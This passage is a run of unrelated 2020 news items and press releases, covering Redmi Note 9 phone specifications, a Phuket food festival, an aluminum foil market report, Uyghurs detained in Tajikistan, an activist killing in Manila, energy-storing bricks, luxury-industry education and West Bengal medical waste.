front, there is a 16-megapixel selfie camera placed in the punch hole. According to the company, the camera is capable of shooting RAW photography and some nifty tricks in pro mode while shooting video. The battery unit is rated at 5,020mAh which is said to be the biggest on a Redmi Note device and supports 18W fast charging. Rest of the features include support for 4G VoLTE, NaVIC GPS, dual-SIM card slots, Wi-Fi, Bluetooth 5.0, P2i coating, USB Type-C and a 3.5mm headphone jack. The handset will come with Android 10 with MIUI 11. There are three colour options to choose from including Aurora Blue, Glacier White, and Interstellar Black. Redmi Note 9 Pro Max The handset comes with a 6.67-inch LCD display with a punch-hole placed on top center and a quad-camera setup in a square module. Like the previous Redmi Note 8 series, it has Gorilla Glass on the front and back, but this time the cameras are also protected with the same. Other notable design features include a side-mounted fingerprint scanner similar to the Poco X2 and the Realme 6 series. The device is powered by the 8nm-based Qualcomm Snapdragon 720G which should be more efficient and slightly more powerful than the 730G. The smartphone will be offered in a total of three variants including 6GB RAM with either 64GB or 128GB of storage and an 8GB RAM option with 128GB internal storage. There is also a dedicated microSD card slot to expand the storage further. The square camera module is placed at the center and is raised from the main body. It includes a 64-megapixel main sensor next to an 8-megapixel ultrawide camera. There is also a 5-megapixel macro camera and a 2-megapixel depth sensor. At the front, there is a 32-megapixel selfie camera placed in the punch hole. According to the company, the camera is capable of shooting RAW photography and some nifty tricks in pro mode while shooting video. The battery unit is rated at 5,020mAh which is said to be the biggest on a Redmi Note device. It supports 33W fast charging (provided in the box) as well. Rest of the features include support for 4G VoLTE, NaVIC GPS, dual-SIM card slots, Wi-Fi, Bluetooth 5.0, side-mounted fingerprint scanner, P2i coating, USB Type-C and a 3.5mm headphone jack. The handset will come with Android 10 with MIUI 11. There are three colour options to choose from including Aurora Blue, Glacier White, and Interstellar Black. Phuket Tastival & Seafood Gastronomy event gets last-minute rejig PHUKET: The Phuket Tastival & Seafood Gastronomy event will be held in Chalong instead of Karon* and Cherng Talay has been added as an extra venue for the rolling festival to be held in Phuket over six consecutive weekends, starting this Saturday (Aug 15). tourism By The Phuket News Tuesday 11 August 2020, 04:33PM Many local Phuket dishes will be available at the festival, to be held over six consecutive weekends, starting this Saturday (Aug 15). Photo: NNT Many local Phuket dishes will be available at the festival, to be held over six consecutive weekends, starting this Saturday (Aug 15). Photo: NNT Many local Phuket dishes will be available at the festival, to be held over six consecutive weekends, starting this Saturday (Aug 15). Photo: NNT The revised itinerary for the festival was announced just yesterday (Aug 10). Photo: NNT The revised itinerary for the festival was announced just yesterday (Aug 10). Photo: NNT The revised itinerary for the festival was announced just yesterday (Aug 10). Photo: NNT Phuket Vice Governor Pichet Panapong announced the revised itinerary for the festival at a press conference held at Saphan Hin Park in Phuket Town yesterday (Aug 10). Present for the announcement were tourism and business officials as well as officers from local administration offices involved in organising the event. Phuket is full of beautiful nature and rich with delicious dishes, especially seafood. At the festival, people will have the chance to buy fresh and inexpensive seafood, agricultural goods as well as ready-to-eat food and unique local dishes, V/Gov Pichet explained. The festival is to be held with the hope of stimulating the local economy and generating income for local businesses under the theme Think fresh seafood, think Phuket, V/Gov Pichet said. I want to invite people from all provinces to travel to Phuket and enjoy fresh seafoods and local foods in the festival, he added. The festival will be held at the following locations as follows: Aug 15-17 at Saphan Hin Park Aug 22-23 at Rawai Pier in Rawai Aug 29-30 at Loma Park in Patong Sept 5-6 at Palai Pier in Chalong Sept 12-13 at Queen Sirikit Park in the Phuket Town Sept 19-20 at Laguna Grove in Cherng Talay * Correction: Will be held in Chalong instead of Karon, not as originally reported. The error is regretted. Technavio has been monitoring the aluminum foil market and it is poised to grow by 1.51 million tons during 2020-2024, progressing at a CAGR of 5% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005074/en/ Technavio has announced its latest market research report titled Global Aluminum Foil Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please request Free Sample Report on COVID-19 Impact Frequently Asked Questions- At what CAGR is the market projected to grow during the forecast period 2020-2024? Growing at a CAGR of almost 5%, the market growth will accelerate during the forecast period of 2020-2024. What is the key factor driving the market? Increased use of packaged food products is one of the key factors driving market growth. Who are the top players in the market? Alcoa Corp., Amcor Plc, Ardagh Group SA, Carcano Antonio Spa, Constellium SE, Hindalco Industries Ltd., Norsk Hydro ASA, Reynolds Group Holdings Ltd., Tetra Laval International SA, and United Company Rusal Plc. are some of the major market participants. Which region is expected to hold the highest market share in the market? APAC What is the major trend of the market? Concerns regarding the use of plastic packaging products is a major growth factor for the market. What is the year-over-year growth rate of the global market? The year-over year growth rate for 2020 is estimated at 3.88%. The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Alcoa Corp., Amcor Plc, Ardagh Group SA, Carcano Antonio Spa, Constellium SE, Hindalco Industries Ltd., Norsk Hydro ASA, Reynolds Group Holdings Ltd., Tetra Laval International SA, and United Company Rusal Plc are some of the major market participants. The increased use of packaged food products will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Aluminum Foil Market 2020-2024: Segmentation Aluminum Foil Market is segmented as below: Application Food and Beverage Packaging Consumer Packaging Pharmaceutical Packaging Others Geography APAC Europe North America South America MEA To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43835 Aluminum Foil Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our aluminum foil market report covers the following areas: Aluminum Foil Market size Aluminum Foil Market trends Aluminum Foil Market analysis This study identifies concerns regarding the use of plastic packaging products as one of the prime reasons driving the aluminum foil market growth during the next few years. Aluminum Foil Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the aluminum foil market, including some of the vendors such as Alcoa Corp., Amcor Plc, Ardagh Group SA, Carcano Antonio Spa, Constellium SE, Hindalco Industries Ltd., Norsk Hydro ASA, Reynolds Group Holdings Ltd., Tetra Laval International SA, and United Company Rusal Plc. Backed with competitive intelligence and benchmarking, our research reports on the aluminum foil market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Aluminum Foil Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024 Detailed information on factors that will assist aluminum foil market growth during the next five years Estimation of the aluminum foil market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the aluminum foil market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of aluminum foil market vendors Table of Contents: Executive Summary Market Landscape Market ecosystem Value chain analysis Market Sizing Market definition Market segment analysis Market size 2019 Market outlook: Forecast for 2019 2024 Five Forces Analysis Five force summary Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition Market Segmentation by Application Market segments Comparison by Application Food and beverage packaging Market size and forecast 2019-2024 Consumer packaging Market size and forecast 2019-2024 Pharmaceutical packaging Market size and forecast 2019-2024 Others Market size and forecast 2019-2024 Market opportunity by Application Customer landscape Geographic Landscape Geographic segmentation Geographic comparison APAC Market size and forecast 2019-2024 Europe Market size and forecast 2019-2024 North America Market size and forecast 2019-2024 South America Market size and forecast 2019-2024 MEA Market size and forecast 2019-2024 Key leading countries Market opportunity by geography Market drivers Market challenges Market trends Vendor Landscape Vendor landscape Landscape disruption Vendor Analysis Vendors covered Market positioning of vendors Alcoa Corp. Amcor Plc Ardagh Group SA Carcano Antonio Spa Constellium SE Hindalco Industries Ltd. Norsk Hydro ASA Reynolds Group Holdings Ltd. Tetra Laval International SA United Company Rusal Plc Appendix Scope of the report Currency conversion rates for US$ Research methodology List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005074/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Uyghurs Held in Tajikistan Three Uyghur businessmen may face extradition to China. The three men detained in Tajikistan were originally from the Xinjiang region of China and held citizenship from Turkey. RFA Three Uyghur businessmen with Turkish citizenship have been detained by authorities in Tajikistan, sparking fears that the men may have been held due to pressure from China, according to Uyghur groups. They claimed that on Jan. 8, security forces in Tajikistans capital Dushanbe first picked up Ablimit Dawatoglu, whose brother was executed years ago by authorities in Chinas northwestern Xinjiang Uyghur Autonomous Region. The following day, Kamiljan Omeroglu and Ehmet Rashidi were held when they went to the police department in Dushanbe to inquire about Dawatoglu. The Turkish embassy in Dushanbe has not been able to reach the three men and their families have not received any information about their detentions. Tajik officials are tight-lipped about the case and the circumstances that provoked the detentions remain unclear. The three had left the Xinjiang region within the past ten years, before receiving Turkish citizenship. They were in Tajikistan on business at the time of their arrests. Tajikistans neighbors Kazakhstan, Kyrgyzstan, and Uzbekistan have previously deported Uyghurs to China, including an ethnic Uyghur with Canadian citizenship. Many of those sent back to China have faced prison sentences or execution on charges of "splittism" and "separatism." Arrests unconfirmed by Tajikistan Turkish officials have not received a response from Tajikistan to inquiries about the arrests. Mustafa Turkel Yilmaz, press officer for the Turkish embassy in Dushanbe told RFA on Jan. 21, We were informed of the issue on Jan. 9 by a civil society group in Turkey. We then conveyed a request to Tajikistan Foreign Ministry to confirm the arrest of our three citizens, but unfortunately, although more than ten days have passed we have not gotten any answer and we are still trying to get an answer from the ministry. According to him, Turkish foreign ministry officials in Ankara also contacted the Tajik embassy in Ankara, Turkey to confirm the issue, but the result was same. We still are expecting an answer from Tajik officials. We do not wish to comment about the issue unless we get an official response from the ministry, he said. A staff member at the Tajik embassy in Ankara, Turkey refused to comment on the issue. Turkish citizens The three men had left the Uyghur region of China in the past decade. Two of them had received Turkish citizenship over the last three years while the third received it four months ago. The three men were not business partners but frequently traveled between Turkey and Tajikistan together for business. Ablimit Dawatoglu and Ehmet Reshidi own stores in Dushanbe where they sold Chinese goods, including cloth. They are married to women with Tajik citizenship. Ablimit Dawatoglu had a brother who was executed in the 1990s in Hotan, in the Uyghur region of China, on charges of "splittism." Because of this family background, he was under the scrutiny of Chinese state security and left China a few years after his brothers execution, Uyghur groups said. Pressure from China? We strongly believe that the three were arrested at Chinas request, said Hidayitulla Oghuzhan, spokesman for the East Turkistan Education and Solidarity Association, a Uyghur organization based in Turkey. Turkish officials still have not been able to have access to the three, and based on this situation and a lot of experience we have had, we are assuming that the three have already been deported to China or their extradition is under way, he said. We call on the international community to prevent another tragedy like Huseyin Jelils from occurring again, he said, referring to an Uyghur of Canadian citizenship who was arrested in Uzbekistan and extradited to China in 2006. He is currently serving a life sentence in Liudawan Jail in Urumqi, the capital of the Xinjiang region. Chinese authorities blame overseas Uyghur separatists for orchestrating violence in China in recent years, including the ethnic unrest that broke out in Urumqi in July 2009. Last year, Cambodia deported to China 20 Uyghurs seeking asylum from persecution related to that unrest. Laos also returned seven asylum-seekers to China in December. Some Uyghur groups claim there have been many more arrests of Uyghurs in Central Asian states following pressure from Beijing but they are holding back details. There are a certain number of Uyghur refugees detained in other Central Asian countries but because of Chinese demands we have not publicized [these cases] yet, because we are still expecting a correct solution [to be reached] between the countries and UNHCR officials, said Rebiya Kadeer, president of the World Uyghur Congress. Last week, Tajikistan agreed to give away around 1,000 square kilometers (386 square miles) of its land to China in a bid to end a land dispute dating back a century. According to the East Turkistan Education and Solidarity Association in Istanbul, Uyghurs in Turkey plan to hold a protest in support of the three men on Tuesday in front of the Tajik embassy in Ankara. Reported by Shohret Hoshur and Erkin Tarim for RFAs Uyghur Service. Translated by Shohret Hoshur. Written in English by Rachel Vandenbrink. More than 200,000 Blue Shield members, ages 35 to 64, will receive customized-art postcards over the next two weeks that encourage them to build healthy habits, especially during the COVID-19 crisis. For example, taking advantage of the nonprofit health plan's Wellvolution program to better manage stress, treat existing conditions, and improve mental and physical health. Wellvolution offers members more than 50 digitally driven health programs to choose from, which address specific health goals, conditions and health risks, and the program is available to most Blue Shield members at no additional cost. This outreach campaign is the latest example of Blue Shield's efforts to help members prioritize their health from the convenience and safety of their homes to prevent, treat or even reverse chronic conditions. Eight artists are participating in this initiative. Their artwork reflects the local identities of the nine counties they represent and interprets the theme "food is medicine." The artists for this program were chosen for their community engagement as artists and advocates for a wide range of causes that include mental health, diversity and inclusion, and ending homelessness. "With this art collaboration, we're stepping outside our 'clinical' engagement with members," said Angie Kalousek, director, Mind-Body Medicine at Blue Shield. "We're tapping into local pride and the power of art to help inspire and give comfort to people during this pandemic, which is having profound effects on the physical and emotional wellbeing of us all. Art chronicles our lives and experiences and reflects cultural values, beliefs and identities. Our theme that food is medicine is intended to support members and inspire them to use healthy food as a strong, shareable source of connection with each other." Nine Regions, Eight Artists Kern County Sarah Nobles and Kei Deragon Bakersfield is home to muralists Sarah Nobles and Kei Deragon. Each has a life story that has a profound influence on their art. Kei is a veteran of the U.S. Army; she served as a combat medic and now uses her art to navigate service-related Post-Traumatic Stress Disorder (PTSD). Sarah survived homelessness at a young age and discovered that art was a haven and healthy outlet for her experiences. Inspired to community activism by hate speech painted on a neighborhood wall, Sarah and Kei co-founded Creative Crossing, an art group working to beautify and create safer spaces in Bakersfield's Oleander neighborhood. They don't accept payment for their murals; instead they reinvest profits and donations from their projects in artists and the community. In May, Creative Crossing partnered with Kern Behavioral Health and Recovery Services for the purpose of spreading awareness for Mental Health Awareness Month, creating a socially distanced chalk-art scavenger hunt for residents. Los Angeles and Ventura counties Sally Deng Sally Deng was born and raised in Los Angeles to Chinese immigrant parents who owned a restaurant in the city's Arts District/Skid Row. That's where she taught herself to draw. Sally graduated from the Art Center College of Design in Pasadena with a BFA degree. Her talent and hard work have led to many successful projects, including creating illustrations for Stanford Medicine, The New York Times, Vice, Barron's, and The Atlantic that tell stories of immigration, the outdoors, and women. She was included in the 2020 Art & Style List for "Forbes 30 Under 30." Orange County Larissa Marantz Illustrator, cartoonist and educator, Larissa Marantz creates visually appealing images and teaches students young and old how to do the same. She has taught art to elementary school students for more than 15 years and has been an adjunct faculty member of Laguna College of Art & Design for 12 years. After earning her BFA degree at California State University, she worked as a character designer for Nickelodeon's Rocket Power and Rugrats shows. Inspired by her family life, she began illustrating children's books, and continued drawing Rugrats for Simon Spotlight Publishing. Riverside and San Bernardino counties Belen Ledezma A Chicana artist raised in San Bernardino, Belen Ledezma studied art San Bernardino Valley College, but mostly is self-taught. An artist and teacher, Belen uses her creativity to influence her community and teach art basics to young children. She is involved in work related to inclusivity and the diversity of San Bernardino and the Inland Empire, especially for women. She is deeply focused on her Indigenous/Latinx roots, which are reflected in her art. Belen has been a featured artist with San Bernardino Generation Now, a community-driven network that leverages the arts to educate the public on local socio-political issues and create civic engagement opportunities that embrace San Bernardino's diverse cultural demographics. Sacramento County Franceska Gamez Born in Manila, Franceska Gamez was raised in the San Francisco Bay Area and earned a BFA degree from Sacramento State University. She now resides in Sacramento and her murals are featured locally and across the world. She is a co-founder and the owner of 1810 Arts Gallery, established to create a space for local artists to showcase their work. Franceska is also a founding member of the nonprofit M5 Arts Collective, which creates free art experiences for Sacramento residents and is a member of Trust Your Struggle, an artist collective dedicated to social justice, environmental sustainability and community activism. San Diego County Hanna Gundrum Hanna Gundrum is a San Diego transplant who earned a BFA degree from the University of Wisconsin, Madison. Her artistic style bloomed out of a need to create art from her tiny apartment on a student budget. Socially minded and with a sense of civic responsibility, Hanna is involved with Art Reach San Diego and puts her creative talents to work creating murals with youth at schools and community centers. In addition to her studio art and mural creations, she also works as an artist mentor to adults with developmental disabilities. Hanna uses her creativity to encourage people struggling with mental health to speak about their experiences. Santa Clara County Harumo Sato A Japanese visual artist from Mountain View, Calif., Harumo Sato has lived or traveled in Japan, France, Morocco, Tunisia, Italy and Spain. After experiencing sudden illness and severe natural disasters in her early life, Harumo now creates work that promotes coexistence with nature and creates peace in viewers' minds. Her art is owned by public and private collections and she has exhibited in solo and group shows in California and New York. About Blue Shield of California Blue Shield of California strives to create a healthcare system worthy of its family and friends that is sustainably affordable. Blue Shield of California is a tax paying, nonprofit, independent member of the Blue Cross Blue Shield Association with over four million members, 6,800 employees and more than $20 billion in annual revenue. Founded in 1939 in San Francisco and now headquartered in Oakland, Blue Shield of California and its affiliates provide health, dental, vision, Medicaid and Medicare healthcare service plans in California. The company has contributed more than $500 million to Blue Shield of California Foundation since 2002 to have an impact on California communities. For more news about Blue Shield of California, please visit news.blueshieldca.com. Or follow us on LinkedIn, Twitter, or Facebook. CONTACT: Mashi Nyssen Blue Shield of California 510-607-2359 [email protected] SOURCE Blue Shield of California Related Links www.bcbs.com Metro Manila (CNN Philippines, August 11) Justice Secretary Menardo Guevarra on Tuesday directed his department's task force on extrajudicial killings to investigate the killing of National Democratic Front of the Philippines peace consultant Randall "Randy" Echanis. Guevarra, however, made it clear that it should first be confirmed if it was indeed the activist's body before the probe can roll out. He said it is important for the family to validate his identity as the Administrative Order 35 task force on EJK only covers the summary killings of persons on account of their advocacies. "In view of the emerging confusion as to the identity of the subject, however, we shall await confirmation by the family of the deceased that the subject was indeed peasant leader Echanis," Guevarra said in a text message. For Justice Undersecretary Markk Perete, a "thorough forensic examination may be necessary" considering the questions surrounding the identity of the remains. There is a cloud of confusion on the identity of the person killed inside his home in Novaliches, Quezon City on Monday. Echanis' wife, Erlinda, positively identified the remains as that of the activist. Anakpawis Partylist, which Echanis headed, also confirmed his identity even posting a photo of the cadaver to prove it. However, the Quezon City Police District has identified the body as a Manuel Santiago, based on the identification card found with the remains. It added that the landlady of the apartment confirmed that the name appearing in the ID is similar to how she has known the victim. QCPD chief Brigadier General Ronnie Montejo said that fingerprint and DNA comparisons must be done in order to validate the claim of NDFP that Santiago is Echanis. According to the police, a cursory examination showed that the certain Santiago sustained multiple stab wounds on different parts of his body, while his neighbor who was identified as Louie Tagapia, 48, also sustained a head wound. Amid the confusion, Anakpawis Party-list said the body of Echanis was forcibly taken by policemen from his familys chosen funeral home, after his wife already positively identified his body. "I condemn the persistent harassment of PNP La Loma-QCPD and their brazen act of snatching the remains of my husband Randall 'Randy' Echanis from us," his wife said. She added that the lifeless body bore "torture marks, multiple stab and gunshot wounds." The wife said the police claimed "a release order" has not been issued yet, and that the cadaver will be brought to Pink Petal Funeral Homes in La Loma under their custody. In a latest development, QCPD arrested a man claiming the body of Santiago on early Tuesday. Montejo said the man was identified as Paolo Fernando Colabres, a volunteer worker. Police report showed that the former and a certain Atty. Luz Perez went to the Pink Petals Funeral Services. They allegedly claimed that they were relatives of the Santiago and identified the body as Echanis. Moreover, police also said that Colabres and Perez allegedly pretended that they coordinated with the authorities and was given approval to claim the body. The two immediately transferred the body to St. Peters Funeral Home in Quezon Avenue. The body of Santiago was immediately returned to Pink Petals Funeral after Colabres was arrested. Police said that Perez was able to escape. Echanis, a known peasant leader and activist, was a third nominee of Anakpawis during the 2010 partylist elections. Support is being offered to workers at a public hospital in the state's north after a female staff member was allegedly raped while staying at on-site accommodation. Victoria Police arrested and charged a man on Monday after the woman was allegedly assaulted while she was staying at staff accommodation at Goulburn Valley Health hospital in Shepparton, two hours north of Melbourne. The woman told police she was asleep when she was woken by a man who was in her bed at the residence about 3.30am on Saturday. She was then allegedly sexually assaulted. In a statement, Goulburn Valley Health chief executive Matt Sharp said the hospital was providing support to the woman and staff. "Goulburn Valley Health is deeply shocked about what has occurred as we all come to terms with this horrendous incident," he said. A 'smart brick' that costs as little as 50p to produce can be used to store electricity 'like a battery' and may be the future building material of choice, developers claim. Researchers from Washington University found a way to convert simple 'red bricks' they purchased from a local hardware store into energy storage units. Red brick is one of the world's cheapest and most common building materials in use today, but has been used in the same way for thousands of years. By adding a conductive polymer coating to a brick, the researchers were able to transform it into an electricity storage device, capable of powering an LED bulb. The team say houses of the future could be made using their new version of the fired brick, and it could be used to power lights and other devices within homes. Researchers from Washington University found a way to convert simple 'red bricks' into energy storage units that could be charged to power lighting in a home By adding a conductive polymer coating to a brick, the researchers were able to transform it into an electricity storage devices, capable of powering an LED bulb Chemists who developed the new technology claim just 50 of the bricks within a wall of a building could power emergency lighting for five hours. Walls and buildings made out of bricks already occupy large amounts of space, which could be better utilised if given a dual-purpose, study authors claim. Julio DArcy and colleagues converted existing red bricks into a type of energy storage device known as a supercapacitor by painting on a layer of a conducting polymer called PEDOT. The PEDOT coating seeps into the brick, thanks to its porous structure, where it reacts with the red pigment, which is made of iron oxide, or rust. This triggers the polymerisation reaction and turns the brick into an 'ion sponge' that stores and conducts electricity. D'Arcy said the new energy storage method works with regular or recycled bricks. 'As a matter of fact, the work that we have published stems from bricks that we bought at Home Depot right here in Brentwood, Missouri,' she said. While some architects and designers have recognised a normal red brick's ability to absorb and store the sun's heat, nothing has gone beyond that core use. The new study marks the first time anyone has tried using bricks as anything more than thermal mass for heating and cooling - or as a simple building material. The new method has been developed as a way to make or modify 'smart bricks' that can store energy until required for powering devices and lights. Their research shows a charged up brick directly powering a green LED light as part of a proof of concept demonstration. Scientists' calculations suggest that walls made of these energy-storing bricks could also store a substantial amount of energy. The team say houses of the future could be made using their new version of the red brick which can be charged hundreds of thousands of times an hour Dr D'Arcy said: 'PEDOT-coated bricks are ideal building blocks that can provide power to emergency lighting.' 'We envision that this could be a reality when you connect our bricks with solar cells. This could take 50 bricks in close proximity to the load,' she said. 'Advantageously, a brick wall serving as a supercapacitor can be recharged hundreds of thousands of times within an hour. 'If you connect a couple of bricks, microelectronics sensors would be easily powered.' Findings were published in the journal Nature Communications. Its action stations inside embattled workers' compensation authority icare as it hunts for a new chief executive and NSW's corruption watchdog weighs up a referral made by the State Insurance Regulatory Authority. At least the board is well paid while icare endures its time in the spotlight. Directors salaries arent declared in its annual report, but they are compiled in figures provided by the NSW Public Service Commission. As it turns out, chairman Michael Carapiet is on a solid wicket of $200,000 per annum. Meanwhile, directors including BT Financial Group director David Plumb and former HCF director Lisa McIntyre are each on a respectable $100,000 a year. Icare chairman Michael Carapiet. Credit:Peter Braig And it appears the good pay extends into the executive ranks. Or, as a Treasury note obtained by The Sydney Morning Herald found, icare's executive team is likely the highest paid in the NSW government sector. The same public service dossier also reports that over at the State Insurance Regulatory Authority - the mob that referred icare to ICAC - they arent nearly so well rewarded. SIRA chairman Trevor Matthews, who also sits as a director of Bupa and is a former director of AMP Bank, takes home $130,000, while his directors each get $85,000. No wonder theyve got beef with icare. It is said the proverbial path to success is paved with failures, and difficult to navigate. Thats why the Luxury Education Foundation (LEF), a nonprofit focused on educating and developing leaders for the luxury industry, polishes top talent until it sparkles and shines for a growing and dynamic market that is ready. Ketty Maisonrouge, president, LEF, told WWD, LEF started in 2004 with one single program and has evolved into a transformative force for all levels of management. In a world where talent is increasingly key to any success, LEF has built a community of multi-generational leaders who help each other by promoting creative thinking, fostering connections between various areas of expertise as well as across company lines. Here, Maisonrouge talks to WWD about the ins and outs of LEF, its unique curriculum, and how the organization pivoted during the coronavirus pandemic. WWD: How does LEF uniquely foster future talent? Ketty Maisonrouge: First, LEF is a public nonprofit organization, funded solely by private donors, that partners with some of the worlds most prestigious universities Columbia Business School, Parsons School of Design, Hong Kong University of Science and Technology to create the only globally accredited curriculum on the business of luxury. Secondly, the ongoing interaction between students and the ceos of the participating companies provide real-life insights and training that help carry the students forward in their careers. In this way, LEF has become a community with three groups of constituents: industry leaders, current students and alumni who have progressed in their careers and want to mentor the next generation. WWD: What are the key components of the program? K.M.: While the classroom setting is the foundation of the curriculum, it also involves internships, lectures and roundtable discussions with luxury industry leaders and immersive programs where students, and more recently alumni, work with individual companies to tackle issues confronting brands today and provide invaluable hands-on experience for the students and actionable insights for participating companies. Story continues To highlight a few of these programs, the most notable to LEF are the Master Class, Block Week and Executive Workshop. The Master Class brings together both business students and design students to work in an intimate class setting on case studies with the companies. Students learn the importance of how both design and business must integrate to allow for a successful luxury company. It is the one-on-one mentoring with the executives that gives these small student groups hands-on experience and guidance for their future careers. The Block Week condenses this semester-long course to one week offered to MBA students and focuses on the luxury strategy approach yet offers the same mentoring experience with executives. In the Executive Workshop, LEF integrates its accomplished network of alumni to mentor the students to develop creative solutions to companies with less bandwidth required. WWD: How would you explain the two-way exchange between teachers and students? K.M.: The most rewarding relationships are always those where both parties benefit. The challenges companies are faced with today are driven by technology and demographic shifts that are trickling up versus the traditional model of information trickling down. The current students in the program are true digital natives, which creates a unique interchange of knowledge between the executives and students. The executives impart wisdom gleaned from years of business experience and students help the executives embrace and implement digital strategies that will connect storied brands to their customers. WWD: What trends and/or changes have emerged in the luxury market during COVID-19? K.M.: At the onset of COVID-19, LEF quickly shifted its programs to virtual and transformed the proven concept of the 2019 workshop model into a virtual academic program, providing new opportunities for mutually beneficial learning experiences to the students, companies and alumni. This flexible, concentrated real-life hands-on program has already yielded success for all involved, while creating a truly continuing education program for our alumni. Maclaren became the first brand to take advantage of this format, and the chairman, Farzad Rastegar, not only enjoyed the sessions, but said he also found great benefit in the workshop.The resulting presentation was somewhat similar to an agency type presentation. This can be a very attractive program for companies only to be constrained by the amount of behind the scenes work and student/faculty time. Additionally, given the importance of the LEF Alumni network, LEF shifted several programs to be virtual such as the Alumni Think Tank, Alumni Networking Event and the already virtual Alumni International Exchange program to be more frequent. LEF wanted to ensure that our alumni around the world did not feel isolated or alone. All of these programs engage in peer to peer and peer to executive exchanges focusing on current industry trends. WWD: Whats next for LEF? K.M.: As the world and the luxury business evolves at warp speed, LEF has led by example, listening to its constituents changing needs, adapting in real-time, creating new formats. As recently as this summer, LEF continues to demonstrate its ability to not only meet the challenges of the day but, by sharing its combined wisdom, ensures its long-term relevancy in a world where creativity, adaptability and flexibility will be ever more essential to success. We also hope to grow our corporate reach and community while reflecting the values of a modern, forward-thinking industry. In the end, LEF is and will always be about innovation and the future of luxury. Luxury brands Hermes, Chanel, Tiffany & Co., 64Facets and Loro Piana share their individual educational experiences with LEF: As a founding member and chairman of the board of LEF, it has been inspiring to see the impact of the LEF programs over the past 15 years. Seeing the students learn, develop and flourish has been the greatest reward. We have also learned much from them, and they have brought so much to Hermes as well. We have seen products come to life thanks to their creativity, and in-store tools implemented thanks to their intuition. It is a real joy to work with and learn from all the students in so many programs. Robert Chavez, chairman of the Luxury Education Foundation and president and ceo, Hermes of Paris Inc. Last year, Chanel had the great opportunity to host an Executive Workshop with Columbia Business School students. Our team was fascinated by the insights drawn by the students and the program spurred conversations that led to actionable solutions. Joyce Green, general manager of fashion, Chanel I have had the honor and privilege of being an LEF member for over 12 years. I was invited to an intimate breakfast with a [senior vice president] of strategy and business development at Tiffany & Co. I had been interested in a role within this group and just happened to have my first-round interview with him scheduled for the following day. As you can imagine, I was able to leverage the lively discussions from that LEF breakfast meeting to best position myself during the interview. I was hired shortly after and was able to eventually parlay my strategy experience into my dream role within global brand management at one of the worlds most beloved and iconic luxury brands. I know that I have LEF to thank for making this dream come true. Monisha Agrawal, senior director of Global Marketing Analytics & Insights, Tiffany & Co. LEF has been a comprehensive resource for me over the past five years. When I signed up for the LEF master class in fall 2015, I was dreaming of launching my familys jewelry business as a brand in the U.S. The lessons learned in and out of the classroom and the credibility gained from associations with the top brass of the luxury industry, helped me realize my dreams. I can proudly say that LEF deserves a lot of credit for the success of 64Facets. Ever since, I have relied on counsel from LEF members on important business decisions and have always come out with the desired outcomes. Im an LEF lifer! Gourav Soni, ceo Americas, 64Facets In January 2020, Loro Piana participated in the LEF CBS Block Week. We were incredibly impressed with the dedication and insights of the students and found the experience to be very thought-provoking. When I learned about the Virtual Executive Workshop, I was eager to participate, and I look forward to benefiting once again from the talent and knowledge of these bright minds. Claudia Cividino, North America ceo, Luxury Division, Loro Piana For more Business news from WWD, see: Outdoor Brands Talk Coronavirus Impacts Brick-and-Mortar, Digital Retailers Adjust Strategies in Wake of Coronavirus Field Notes: How Fabric Is Helping Save the Planet Sign up for WWD's Newsletter. For the latest news, follow us on Twitter, Facebook, and Instagram. West Bengals six biomedical waste treatment and disposal facilities have almost reached their threshold capacity amid the surge in coronavirus disease (Covid-19) outbreak, where the frontline workers battling the pandemic are discarding tonnes of personal protective equipment (PPE) items on a daily basis, ringing alarm bells of the spread of the contagion due to poor biomedical waste management in the state. The two agencies that run the Common Bio-medical Waste Treatment and Disposal Facilities (CBWTF) have drawn the attention of the West Bengal government, which is in talks with the authorities to figure out how to tackle the impending crisis before the toxic waste starts spilling over. Covid-19 related medical waste, mostly in the form of PPE, collected from hospitals, has gone up several times. Usually, a hospital bed generates 250 grams of bio-medical waste daily that has risen to two kilograms (kg). Earlier, the major waste used to come from patients. Now, it is healthcare workers, whose discarded PPE kits are the source of the maximum waste, said Krishnendu Dutta, deputy general manager (DGM) (operations), Medicare Environmental Management, which runs 21 facilities across the country, including four in south Bengal. We have alerted the state government about biomedical waste management. Talks are in progress to resolve the problem before it snowballs into a major crisis, he added. At present, the state has around 26,000 active Covid-19 patients. While around 4,400 Covid-19 patients are undergoing treatment in state-run hospitals, the rest are being treated in private hospitals or at home. Over 26,300 people are under home quarantine, while 2,829 and 1,564 are staying in government quarantine centres and safe homes, respectively. In Kolkata alone, there are around 1,000 homes, where families are staying in quarantine, and biomedical waste is being collected daily on a door-to-door basis. In July, around 1,100 kg of biomedical waste was collected from residential homes, said Ramakant Burman, managing director (MD), Greentech Environ Management Private Ltd, the sole agency, which is authorised to collect biomedical waste from households in Kolkata and its satellite townships. Unlike normal circumstances, when hospitals alone used to generate biomedical waste, now such 